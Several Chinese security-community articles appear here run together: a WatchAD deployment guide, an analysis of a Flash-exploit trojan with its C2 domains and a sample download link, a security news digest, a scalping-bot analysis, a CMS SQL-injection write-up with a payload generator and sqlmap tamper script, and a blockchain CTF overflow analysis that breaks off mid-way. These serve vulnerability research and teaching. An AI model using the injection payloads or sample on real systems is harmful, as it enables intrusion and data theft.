下载对应版本的winlogbeat，建议版本为6.2，其它版本的字段可能有变动，存在不兼容的可能性。WatchAD要求下载6.2版本，其下载地址为：<https://artifacts.elastic.co/downloads/beats/winlogbeat/winlogbeat-6.2.0-windows-x86_64.zip，>
解压之后，使用刚才修改的配置文件 winlogbeat.yml 替换掉原本默认的配置文件 winlogbeat.yml.
接下来按照官网的教程正常安装即可(<https://www.elastic.co/guide/en/beats/winlogbeat/current/winlogbeat-installation.html)。>
(1).把下载的winlogbeat 6.2压缩包，解压到中C:\Program Files
(2).将winlogbeat-<version>目录重命名为Winlogbeat
(3).打开安装目录下Winlogbeat目录下的winlogbeat.yml文件，把内容都删除了，然后复制测试服务器上项目watchAD下winlogbat.yml文件覆盖该文件目录下。
(4).以管理员身份打开PowerShell提示符
(5).如果在系统上禁用了脚本执行，则需要为当前会话设置执行策略以允许脚本运行
`set-executionpolicy remotesigned`
(6).在PowerShell提示符下，运行以下命令以安装服务
`PS C:\Users\Administrator> cd "C:\Program Files\Winlogbeat"`
`PS C:\Program Files\Winlogbeat> .\install-service-winlogbeat.ps1`
4.启动winlogbeat
`.\winlogbeat.exe –e -c .\winlogbeat.yml`
出现successfully published字样，基本就成功了
</version>
**0x03 初始化watchAD引擎**
1. wachchAD的帮助命令：
2. 进行初始化安装
`python3 WatchAD.py --install -d Motoo.nc -s 192.168.159.149 -u
motoo\\administrator -p Motoo123\!\@\#45`
注意，-d参数后面接域名，-s参数接域控IP地址，-u参数接域控管理员（双斜杠），-
参数接密码，如果密码有特殊字符，需要加上转义符。
正常初始化安装成功WatchAD，需要满足以下要求：
(1).所有存储相关的依赖都正确安装和配置
(2).能够访问安装时指定的LDAP Server
(3).supervisor正确安装可使用
(4).正确安装python3.6，且存在 /usr/bin/python3 软连接
3.启动watchAD
`python3 WatchAD.py --start`
初始化成功后，如下图：
**0x04 部署WatchAD前端WatchAD-web**
WatchAD前端笔者采用kali系统进行部署
1. 下载WatchAD-Web源码
`# git clone [github.com/0Kee-Team/WatchAD-Web.git](https://github.com/0Kee-Team/WatchAD-Web.git)`
2.修改配置
修改连接数据库的配置：修改 WatchAD-web/Server/config/database_config.py文件中的数据库配置与WatchAD一致;
3.进行编译
进到下载WatchAD-Web目录，执行：docker-compose
build，如果上一步的配置有修改或者代码有变动，需要重新执行此命令，下一步的docker-compose up才会对其修改生效
4.进行安装
执行命令：
`docker-compose up`
启动后，就可以访问WatchAD-Web前端页面了，地址：<http://服务器ip/activity_timeline.html>
**0x05 WatchAD攻防实战**
攻击测试场景主要包括：ms17010攻击域控，dump hash，利用psexec横向移动、添加域控管理员等.
ms17010攻击域控：
添加域控管理员：
Dump域管理员hash，利用psexec横向移动
WatchAD检测情况：
检测详情：
检测ms17010攻击
检测添加域控管理员
检测psexec横向移动
最后，相比于微软ATA，ATA收费昂贵，以流量为主进行分析：
WatchAD检测结合了流量和日志，免费开源，并且可以在detect模块自定义检测规则，值得一试。
参考资料：
1、 <https://www.cnblogs.com/backlion/p/13023599.html>
2、 <https://zhuanlan.zhihu.com/p/261740456>
3、 <https://mp.weixin.qq.com/s/7EH5jnF-rym0mI7sbGUUNg>
4、 <https://github.com/Qianlitp/WatchAD/blob/master/README_zh-cn.md> | 社区文章 |
# 【技术分享】深入剖析：利用Flash漏洞传播的小马样本分析（含样本下载）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[playb0y23333](http://bobao.360.cn/member/contribute?uid=2762195961)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
这是一个利用Flash漏洞 **CVE-2015-8651**
进行传播的病毒程序，关于这个Flash漏洞网上已经有了详细的分析报告，这里主要关注下利用这个漏洞进行传播的样本行为、通信加密方式等。
**
**
**基本信息**
样本基本文件信息如下：
首先通过对样本进行静态分析发现，该样本本身采用了大量的函数间接跳转、字符串混淆等措施：
除此之外，样本还对病毒主题代码进行了内存解析执行的方式，使用静态分析方式无法定位到样本的关键代码，极大的增加了代码静态分析的难度，所以主要通过调试分析其恶意行为。
**
**
**样本行为分析**
**内存解析执行关键代码**
样本首先将本身打包的病毒主题代码重新解密拷贝到自身的运行空间，然后使用内存解析执行方式获取实际运行需要的导入表函数地址，对其代码空间中引用的函数地址进行修复，这种方式类似于常见的外壳程序的运行方式：
最终执行的代码如下图所示：
可以看到，病毒主题代码也经过了大量的代码混淆操作，给调试过程增加了很大的难度。
**注入msiexec进程**
解密出的样本主功能代码首先创建 **msiexec.exe** 进程，msiexec.exe为系统进程，是Windows
Installer的一部分。用于安装Windows
Installer安装包（MSI），此处病毒样本用于伪装自身恶意代码到合法进程中，并将下一步劫持进程后运行的病毒Shellcode注入到该进程空间：
替换其进程OEP处代码用于加载解析执行病毒Shellcode部分，下图所示为被替换之后的msiexec.exe进程入口点代码：
**模糊API调用**
注入到msiexec.exe进程的病毒Shellcode代码首先根据保存的API名称Hash值获取到后续调用的API函数地址，然后判断API函数入口点代码类型判断是否需要对其进行间接调用：
构造API函数入口代码，增加了调用某些敏感API函数的隐蔽性，导致一些API入口断点及API Hook检测机制失效：
**检测虚拟机进程**
通过调用CreateToolHelp32Snapshot系列函数等枚举进程：
根据进程名称算出CRC值进行判断检查是否在虚拟机内，如果检测到运行环境不适合则选择持续调用Sleep函数暂停进程运行，如下图中虚拟机中vmtools进程被检测到：
**设置自启动**
该样本首先向“C:Users用户名AppDataRoaming”目录下复制自身，复制的文件名为WindowsSidebarT.exe，用于伪装成Win7操作系统的小工具进程：
最终设置注册表项完成自启动行为：
**查询Windows Defender等设置**
通过服务及注册表设置情况查询Windows Defender反间谍软件的配置情况：
设置关闭Windows Defender服务：
执行完毕该部分代码之后可以看到服务被禁用：
**主机信息搜集**
获取系统盘信息：
获取用户登录信息：
获取系统信息：
**文件校验**
读取磁盘上的文件并计算其MD5值，最终该MD5值将被发送到木马控制端，猜测是用来对木马回连信息进行认证以及木马服务端校验：
**
**
**通信流程分析**
**木马回连过程**
首先解析回连域名 **pationare.bit**
绑定的IP地址（该样本中存在备用域名avaneredge.bit），并连接域名解析结果中的IP地址进行建连操作：
目前发现域名pationare.bit绑定了54.213.220.57、54.148.88.132、49.51.35.142这三个IP地址，备用域名avaneredge.bit也绑定了54.213.220.57。除此之外样本还会从保存的IP地址列表中随机选取进行连接尝试，但在针对该样本的分析过程中样本均未能与该IP列表中的地址成功建立连接，疑似其备用的C&C服务器：
成功与C&C服务器建立连接之后，样本采用Http协议与控制端进行通信，用于隐藏通信流量：
**通信数据加密流程**
样本主要采用简单异或及变异的AES算法对通信过程进行加密，向控制端主机发送的信息主要包括主机名、程序MD5值、进程列表等：
样本首先填充发送数据的前0x14字节为随机值，然后将发送数据的每个字节逐个与前一个字节进行异或：
后续即采用ECB模式、128bit分组的变异AES算法进行加密，首先从数据中解密出变异AES算法使用的密钥，并进行秘钥扩展（密钥扩展算法和标准AES有区别，下图第一行0x10字节即加密密钥，全部0xB0字节即为密钥扩展的结果）：
填充需要加密的数据长度为分组长度的整数倍，该样本的填充算法为在需要填充n个字节的情况下随机生成n-1个字节填充，最后一个字节使用0xn填充。最后进行加密：
加密结果再与Http协议头部进行组装发送：
**
**
**总结**
该样本的实现中使用了大量的代码混淆、模糊API调用等技术，通过一些API监控工具也没能得到其注入进程时调用的API信息，此外该样本还采取了一些常用的反调试反虚拟机技术对运行环境进行判断，给调试分析提升了很大的难度，整体功能如通信流量隐藏、传输加密等的实现也较为完善
**样本下载链接**
<https://share.weiyun.com/fe34239d5861965a874f059ea2710c5f> | 社区文章 |
# 【知识】11月13日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 穆斯林黑客攻击ISIS网站，公布2万名订阅者名单、卡巴斯基发布2017
Q3网络威胁的发展情况、PayPal子域存储型XSS、对Ordinypt恶意软件的分析报告、ARM虚拟机环境搭建教程（含虚拟机下载）、对垃圾邮件僵尸网络一探究竟、使用自动执行的宏或DDE生成并“感染”现有的Excel文件、Hijacking
Digital Signatures ******
**资讯类：** ****
穆斯林黑客攻击ISIS网站，公布2万名订阅者名单
<https://www.hackread.com/muslim-hacktivists-hack-isis-website-expose-subscribers-list/>
卡巴斯基发布2017 Q3网络威胁的发展
[https://securelist.com/it-threat-evolution-q3-2017-statistics/83131/](https://securelist.com/it-threat-evolution-q3-2017-statistics/83131/)
**技术类：** **** ****
********
PayPal子域存储型XSS
[http://firstsight.me/fia07a53c4ec63d2b0d47fe27ea2645d82f8c98648/[ENG]%20PayPal%20-%20Turning%20Self-XSS%20into%20non-Self%20Stored-XSS%20via%20Authorization%20Issue.pdf](http://firstsight.me/fia07a53c4ec63d2b0d47fe27ea2645d82f8c98648/%5BENG%5D%20PayPal%20-%20Turning%20Self-XSS%20into%20non-Self%20Stored-XSS%20via%20Authorization%20Issue.pdf)
视频演示：[https://www.youtube.com/watch?v=XwynfNOxIlI](https://www.youtube.com/watch?v=XwynfNOxIlI)
对Ordinypt恶意软件的分析报告
<http://29wspy.ru/reversing/Ordinypt/Ordinypt.pdf>
Look Inside挑战的Writeup
<https://0x00sec.org/t/writeup-look-inside/4310>
ARM虚拟机环境搭建教程（含虚拟机下载）
<https://azeria-labs.com/arm-lab-vm/>
Shed：.NET恶意软件运行时分析工具
<http://antonioparata.blogspot.it/2017/11/shed-inspect-net-malware-like-sir.html>
<https://github.com/enkomio/shed>
对垃圾邮件僵尸网络一探究竟
<https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf>
分享一些值得一用的BurpSuite插件
<http://offsecbyautomation.com/Worthwhile-BurpSuite-Plugins/>
使用自动执行的宏或DDE生成并“感染”现有的Excel文件
<https://github.com/samratashok/nishang/blob/master/Client/Out-Excel.ps1>
使用Autoruns：规避技巧以及对策
<https://blogs.technet.microsoft.com/motiba/2017/11/04/chasing-adversaries-with-autoruns-evading-techniques-and-countermeasures/>
Googler：命令行使用Google的工具
（sudo add-apt-repository ppa:twodopeshaggy/jarun && sudo apt-get update &&
sudo apt-get install googler ）
<http://www.linuxandubuntu.com/home/googler-a-command-line-tool-to-search-google>
在最新的Huawei Mate 9 Pro补丁上仅用NFC tag获得root权限
<https://www.youtube.com/watch?v=UMrNQ1bnEBA>
GlobeImposter 2.0勒索软件配置文件的提取脚本
<https://gist.github.com/Demonslay335/8faaa57891318aa438db4bff10b347df>
The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel
<https://speakerdeck.com/retme7/the-art-of-exploiting-unconventional-use-after-free-bugs-in-android-kernel>
Hijacking Digital Signatures
<https://pentestlab.blog/2017/11/06/hijacking-digital-signatures/>
x86 userland minimal examples
<https://github.com/cirosantilli/x86-assembly-cheat>
x86 Bare Metal Examples
<https://github.com/cirosantilli/x86-bare-metal-examples>
Destroying the Reddit Lovense Remote Vuln Conspiracy
[https://internetofdon.gs/2017/11/11/destroying-the-reddit-lovense-remote-vuln-conspiracy/](https://internetofdon.gs/2017/11/11/destroying-the-reddit-lovense-remote-vuln-conspiracy/) | 社区文章 |
# 热门黑产工具分析01：利用集鞋卡活动进行牟利的“追鞋人”
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
^
## 事件描述
某金融应用为拉动用户增长，推出了”集鞋卡换潮鞋”活动，用户通过参加活动，完成活动任务获得“鞋卡”。用户集齐鞋卡之后，可选择自己喜好的潮鞋进行兑换。但是由于活动方在不同时间放出的潮鞋种类及数量有限，并且部分价值相对较高的潮鞋需求量大，所以需要以“抢购”的方式去兑换潮鞋。在活动上线不久后，永安在线业务风险感知平台发现了针对该活动的工具，该工具可自动化完成兑换潮鞋的过程。
在某网赚平台对该活动的介绍
应用内截图
## 薅羊毛逻辑
利用大量账号领取鞋卡，并在匹配广场进行一定的卡片交易，从而集齐鞋卡。
在集齐鞋卡后通过抢购工具将价值相对较高的鞋抢购到手后再到其他平台销售。
## 工具信息
软件运行截图如下：
潮鞋兑换信息配置
帐号配置
黑灰产相关资源配置
攻击的目标接口：
https://api.***.com/v2/card/exchange/checkShare
https://api.***.com/v2/card/exchange/confirm
https://api.***.com/v2/card/exchange/skuInfo
https://api.***.com/v2/order/address/all.json
https://api.***.com/v2/shoes/card/sessionList
这是一款PC端的协议工具，需事先准备已集齐鞋卡的帐号token及交易密码，鞋卡可通过“悬赏红包”的方式获得。
也可以利用接码平台来完成邀请新用户获取鞋卡，但邀请新用户获取鞋卡的数量有上限，通过该方式集齐鞋卡的难度较大。
该工具内置了2个代理平台，用于绕过平台针对IP的风控策略。
hxxp://www. _*_ daili.cn/
hxxp://www. ****** daili.com/
还内置了1个打码平台，用于绕过验证码。
https://captcha.******studio.cn/
## 黑灰产成本与获利
黑灰产在抢到价值较高的潮鞋之后，再将潮鞋出售，从中获利。
成本：集齐鞋卡成本200～400元
获利：出售潮鞋500～5000元
## 永安在线的业务安全建议
针对这种采取多个账号，并利用代理IP、验证码打码等方式绕过平台风控的工具，我们从业务层面可以利用风险IP画像中对相关IP的代理标签进行重视。同时，我们还可以通过相关账号的登录IP区域跨越来判断该账号用户行为是否异常，以判断该账号是否为黑产持有。
除了业务风控上的处理方案，由于奖品为实体商品，可以在物流和发奖流程上对其进行更为严苛的处理，针对相近地区的集中大量兑奖活动采取人工派奖、延后派奖、真人信息核验等方式，避免造成损失。 | 社区文章 |
#### 前言
某天挖完洞闲来无事浏览CNVD看到某CMS更新了一溜的SQL注入，似乎起了强迫症，于是准备分析学习记录一下，顺便填充一下工作内容（哈哈题外话请忽略），其实是个小众CMS,分析起来也不算难，后台的比较简单，主要看前台的。
版本：2.0.2
PS:官方已跟新至了最新版本，且在最新版修复了以下漏洞。该文仅作学习和交流。
#### SQL注入1-后台de***.php
对应CNVD编号：CNVD-2020-12871
漏洞出现在在后台文件de`***.php中，`de`***_add`函数对GET和POST参数先进行了是否empty判断，最终将传入的几个参数传给了edit_admin_department。
跟入edit_admin_department，对参数依次进行了处理，但是发现只有`$departmentname,$olddepartmentname`进行了usafestr安全过滤，漏网的`$id`拼接到了sql语句中执行。
最终导致了SQL注入。
#### SQL注入二-lo***.php
这原本是在后台目录下但其实也是一个不需要验证后台登录的前台注入。
对后台文件的功能点分析。在`lo***.php`中功能adminlogin先获取了登陆者的ip,该ip参数的传参过程为`getip()->$logiparr->encode->$logipstr`然后拼接到$sql语句中lastip,中间并未进行其他过滤。
再来查看getip()
该函数返回获取的ip,而HTTP_X_FORWARDED_FOR为我们可控的http头部。
#### SQL注入3-roe.php
文件role.php同理对参数id没有进行过滤只进行了是否empty判断，最终在edit_admin_role中进行SQL查询。
根据查询结果返回存在或not exit是一个盲注直接丢入sqlmap秒出结果。
同类问题的还有yunyecmsmodel.php等文件自行发现，直接附上结果。
接着我们继续来看前台的。
#### 前台sql注入
问题出现在前台`me***.php`文件中，自定义表单customform中的userid从cookie中获取，截取一段数据包可以看到cookie的userid如下：
经过了加密处理，根据解密算法 **yunyecms_strdecode** 可以在corefun.php找到对应的加解密算法
因为cookie里的userid可控因此我们根据算法流程我们可以在cookie中伪造userid值。还是用刚刚以上截取的userid测试。
可以看到真实的userid为9。构造一个SQL注入，生成如下payload：
`YmM0OWM5ZWY1ODk5ZGRkNzM0T1NjZ1lXNWtJSE5zWldWd0tEVXA4ZDdlNzk5NTliNDQyYTI1ZDE0ZWUzODZmZDI4MzY5OTM0YQ==`
payload生成代码front-test.php为：
<?php
function yunyecms_strencode($string,$salt='~^y#u%n$y^e*c%m^s^~'){
return base64_encode(substr(md5($salt),8,18).base64_encode($string).substr(sha1($salt),0,35));
}
function yunyecms_strdecode($string,$salt='~^y#u%n$y^e*c%m^s^~'){
$retstr=base64_decode($string);
$SHA1salt=substr(sha1($salt),0,35);
$md5salt=substr(md5($salt),8,18);
$retstr=substr($retstr,strlen($md5salt));
$retstr=substr($retstr,0,(strlen($retstr)-strlen($SHA1salt)));
return base64_decode($retstr);
}
if ($_GET['cookie']) {
$string=$_GET['cookie'];
$userid=yunyecms_strdecode($string);
echo $userid;
}
if($_GET['userid']){
$string=$_GET['userid'];
$cookie=yunyecms_strencode($string);
echo $cookie;
}
继续追溯可控的userid,可以看到userid经过步骤`3->4->5`传递到了pagelist函数中
跟入pagelist函数，将$where拼接到了sql查询语句中$sqlcnt,然后交给了前几次SQL注入都出现的SQL查询函数 **GetCount**
中。
详细查看下该函数，直接进行了sql查询。
附上截图
手工有点麻烦，又想丢入sqlmap怎么办，由于userid经过了加密和编码处理，于是根据算法流程写一个tamper就可以很好的解决了，
对应tamper的的脚本为
`yunyecms_front_sqli_tamp.py`
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import base64
import hashlib
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOW
def dependencies():
pass
def md5(data):
hash_md5 = hashlib.md5(data)
md5data=hash_md5.hexdigest()[8:18]
return md5data
def sha1(data):
string_sha1=hashlib.sha1(data).hexdigest()[0:35]
return string_sha1
def yunyecms_strencode(string):
salt='~^y#u%n$y^e*c%m^s^~'
return base64.b64encode(md5(salt)+base64.b64encode(string)+sha1(salt))
def tamper(payload, **kwargs):
"""
Base64-encodes all characters in a given payload
>>> tamper("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
"""
return yunyecms_strencode(payload) if payload else payload
搞定完事~ | 社区文章 |
### 一、前言
前几天全国大学生信息安全竞赛初赛如期进行，在这次比赛中也看到了区块链题目的身影。所以我将题目拿来进行分析，并为后续的比赛赛题提供一些分析思路。
由于本次比赛我并没有参加，所以我并没有Flag等相关信息，但是我拿到了比赛中的相关文件以及合约地址并在此基础上进行的详细分析，希望能帮助到进行研究的同学。
### 二、题目分析
拿到题目后，我们只得到了两个内容，一个是合约的地址，一个是`broken.so`。
pragma solidity ^0.4.24;
contract DaysBank {
mapping(address => uint) public balanceOf;
mapping(address => uint) public gift;
address owner;
constructor()public{
owner = msg.sender;
}
event SendFlag(uint256 flagnum, string b64email);
function payforflag(string b64email) public {
require(balanceOf[msg.sender] >= 10000);
emit SendFlag(1,b64email);
}
首先我们看这个合约文件。合约开始定义了两个mapping变量——`balanceOf
与gift`，之后为构造函数，以及发送flag的事件。当我们调用`payforflag`函数并传入使用base64加密的邮件地址之后，需要满足当前账户的余额比10000多。
由这第一手信息我们可以进行一些简单的猜想。这道题目需要领自己的余额大于10000，只有这样才能购买flag。这也是很常见的题目类型。而这个题目十分设计的还是十分巧妙的，我们接着向下看。
根据上面的合约代码，我们并不能得到更多的有用信息。然而此时我们就需要利用合约地址来进一步分析。
此处合约地址为：`0x455541c3e9179a6cd8C418142855d894e11A288c`。
我们访问公链信息看看是否能够访问到有价值的信息：
发现出题人并没有公开源代码，只有ABI码，此时我们只能根据此来进行合约逆向来寻找更有用的解题思路。
<https://ethervm.io/decompile#func_profit>
在此网站中进行逆向分析后，我们得到如下代码：
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
if (var0 == 0x652e9d91) {
// Dispatch table entry for 0x652e9d91 (unknown)
var var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x009c;
func_01DC();
stop();
} else if (var0 == 0x66d16cc3) {
// Dispatch table entry for profit()
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x009c;
profit();
stop();
} else if (var0 == 0x6bc344bc) {
// Dispatch table entry for 0x6bc344bc (unknown)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var temp0 = memory[0x40:0x60];
var temp1 = msg.data[0x04:0x24];
var temp2 = msg.data[temp1 + 0x04:temp1 + 0x04 + 0x20];
memory[0x40:0x60] = temp0 + (temp2 + 0x1f) / 0x20 * 0x20 + 0x20;
memory[temp0:temp0 + 0x20] = temp2;
var1 = 0x009c;
memory[temp0 + 0x20:temp0 + 0x20 + temp2] = msg.data[temp1 + 0x24:temp1 + 0x24 + temp2];
var var2 = temp0;
func_0278(var2);
stop();
} else if (var0 == 0x70a08231) {
// Dispatch table entry for balanceOf(address)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x013a;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var2 = balanceOf(var2);
label_013A:
var temp3 = memory[0x40:0x60];
memory[temp3:temp3 + 0x20] = var2;
var temp4 = memory[0x40:0x60];
return memory[temp4:temp4 + temp3 - temp4 + 0x20];
} else if (var0 == 0x7ce7c990) {
// Dispatch table entry for transfer2(address,uint256)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x009c;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var var3 = msg.data[0x24:0x44];
transfer2(var2, var3);
stop();
} else if (var0 == 0xa9059cbb) {
// Dispatch table entry for transfer(address,uint256)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x009c;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var3 = msg.data[0x24:0x44];
transfer(var2, var3);
stop();
} else if (var0 == 0xcbfc4bce) {
// Dispatch table entry for 0xcbfc4bce (unknown)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x013a;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var2 = func_0417(var2);
goto label_013A;
} else { revert(memory[0x00:0x00]); }
}
//0x66d16cc3函数 空投函数？？
function func_01DC() {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
// 如果gift已经存在，revert
if (storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x01;
memory[0x20:0x40] = 0x01;
storage[keccak256(memory[0x00:0x40])] = 0x01;
}
// 利润函数：
function profit() {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (storage[keccak256(memory[0x00:0x40])] != 0x01) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
if (storage[keccak256(memory[0x00:0x40])] != 0x01) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x01;
memory[0x20:0x40] = 0x01;
storage[keccak256(memory[0x00:0x40])] = 0x02;
}
function func_0278(var arg0) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (0x2710 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
var var0 = 0xb1bc9a9c599feac73a94c3ba415fa0b75cbe44496bfda818a9b4a689efb7adba;
var var1 = 0x01;
var temp0 = arg0;
var var2 = temp0;
var temp1 = memory[0x40:0x60];
var var3 = temp1;
memory[var3:var3 + 0x20] = var1;
var temp2 = var3 + 0x20;
var var4 = temp2;
var temp3 = var4 + 0x20;
memory[var4:var4 + 0x20] = temp3 - var3;
memory[temp3:temp3 + 0x20] = memory[var2:var2 + 0x20];
var var5 = temp3 + 0x20;
var var7 = memory[var2:var2 + 0x20];
var var6 = var2 + 0x20;
var var8 = var7;
var var9 = var5;
var var10 = var6;
var var11 = 0x00;
if (var11 >= var8) {
label_02FD:
var temp4 = var7;
var5 = temp4 + var5;
var6 = temp4 & 0x1f;
if (!var6) {
var temp5 = memory[0x40:0x60];
log(memory[temp5:temp5 + var5 - temp5], [stack[-7]]);
return;
} else {
var temp6 = var6;
var temp7 = var5 - temp6;
memory[temp7:temp7 + 0x20] = ~(0x0100 ** (0x20 - temp6) - 0x01) & memory[temp7:temp7 + 0x20];
var temp8 = memory[0x40:0x60];
log(memory[temp8:temp8 + (temp7 + 0x20) - temp8], [stack[-7]]);
return;
}
} else {
label_02EE:
var temp9 = var11;
memory[temp9 + var9:temp9 + var9 + 0x20] = memory[temp9 + var10:temp9 + var10 + 0x20];
var11 = temp9 + 0x20;
if (var11 >= var8) { goto label_02FD; }
else { goto label_02EE; }
}
}
function balanceOf(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x00;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
}
function transfer2(var arg0, var arg1) {
if (arg1 <= 0x02) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (0x02 >= storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (storage[keccak256(memory[0x00:0x40])] - arg1 <= 0x00) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
var temp1 = arg1;
storage[temp0] = storage[temp0] - temp1;
memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
var temp2 = keccak256(memory[0x00:0x40]);
storage[temp2] = temp1 + storage[temp2];
}
function transfer(var arg0, var arg1) {
if (arg1 <= 0x01) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (0x01 >= storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
// 如果arg1大于余额，revert
if (arg1 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
var temp1 = arg1;
storage[temp0] = storage[temp0] - temp1;
// 地址arg0的余额增加arg1的个数
memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
var temp2 = keccak256(memory[0x00:0x40]);
storage[temp2] = temp1 + storage[temp2];
}
function func_0417(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x01;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
}
}
之后我们针对此逆向后的代码进行分析。
我们经过分析发现了如下的public函数：
很明显这是代币合约，并且可以进行转账。而此代码中拥有两个转账函数。并且可以查看余额。
我们具体根据代码对函数详细分析：
首先我们分析编号为`0x652e9d91`的`func_01DC()`函数。
首先合约将内存切换到0x01位置，此处为：`mapping(address => uint) public gift;`
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
即合约首先要判断该用户的`gift`是否为0，若不为0则revert（也就是说这个函数要保证只能领取一次）。
之后内存切换到`mapping(address => uint) public balanceOf;`。
对此变量进行操作，也就是将用户的余额值+1。并将gift值加一。
**profit()** 函数的分析如下：
根据函数的名称我们也知道，此函数为利润函数，其目的也很明显，根据我们的代币背景知识，我们猜测这个函数是用来赠送代币的。
函数要求`balanceOf与gift`必须==1，不然就会revert。当调用此函数时，当满足上述条件后就会给用户的余额+1，令用户余额为2 。
**balanceOf()函数**
这个函数很简单，就是返回用户的余额情况。
下面我们来看两个关键的转账函数：
**transfer()**
函数同样比较简单。
首先需要判断用户的余额是否小于1 。之后判断转账的金额（arg1）是否大于余额，如果用户余额不足以进行转账，那么就会revert。
之后将当前用户的账面上减掉arg1代币数量，将收款方arg0的账户上增加arg1代币数量。
我们可以适当还原此函数：
function transfer(var arg0, var arg1){
if(arg1<=1) revert();
if(balance(msg.sender)<=1) revert();
if(balance(msg.sender)<arg1) revert();
balance(msg.sender) = balance(msg.sender) - arg1;
balance(arg0) = balance(arg0) + arg1;
}
此时我们看 **transfer2()** 函数。
在看到这个函数前我就疑问为何一个代币中有两个转账函数？后来在分析了源码后我了解到第二个转账函数中就存在漏洞。具体如下：
开始时函数判断`arg1`需要>2，即转账数量要大于2. 。
之后判断用户余额需要大于等于2.
满足条件后需要令(余额 - arg1)大于零。即其本意是要用户余额大于转账金额。
之后进行转账后的余额更新。
我们分析该代码后将合约具体代码进行还原：
function transfer2(var arg0, var arg1){
require(arg1>2);
require(balance(msg.sender) >= 2);
require(balance(msg.sender) - arg1 >= 0);
balance(msg.sender) = balance(msg.sender) - arg1;
balance(arg0) = balance(arg0) + arg1;
}
不知用户是否发现，我们就看到了漏洞点了，这是一个典型的溢出漏洞。
根据作者给出的代码，我们发现其具体余额是使用`uint`定义的，由于uint的位数是有限的，并且其不支持负数。所以当其负数溢出时就会变成一个很大的正数。
而根据我们的transfer2函数内容，我们知道：`require(balance(msg.sender) - arg1 >=
0);`。此句进行判断的时候是将用户余额减去一个arg1来判断是否大于0的。而如果arg1设置一个比较大的数，那么`balance(msg.sender)
- arg1`就会溢出为一个非常大的数，此时就成功绕过了检测并且转账大量的代币。
所以我们可以利用此处的整数溢出来进行题目求解，然而在分析的过程中我又发现了另一个解法。
如果做题人没有发现此处的漏洞点，我们可以利用常规做法来进行求解。
根据给出的flag函数我们知道，我们只需要余额>10000即可，那么我们可以发现，我们的`profit`函数可以给我们不断的新增钱。
根据我们的分析，我们需要令合约余额==1并且gitf==1，此时即可调用`profit()`来将余额++，调用后余额为2，gift为1
。这时候将余额转给第二个账户，余额就又变成1了，就又可以调用`profit()`函数。这样不断给第二个用户转账，转账10000次即可。（这里肯定是要用脚本去写，手动转账比较傻emmmm）
### 三、漏洞利用技巧
此处我们介绍漏洞利用的技巧。
首先我们需要拥有两个钱包地址`（Addr1 Addr2）`。
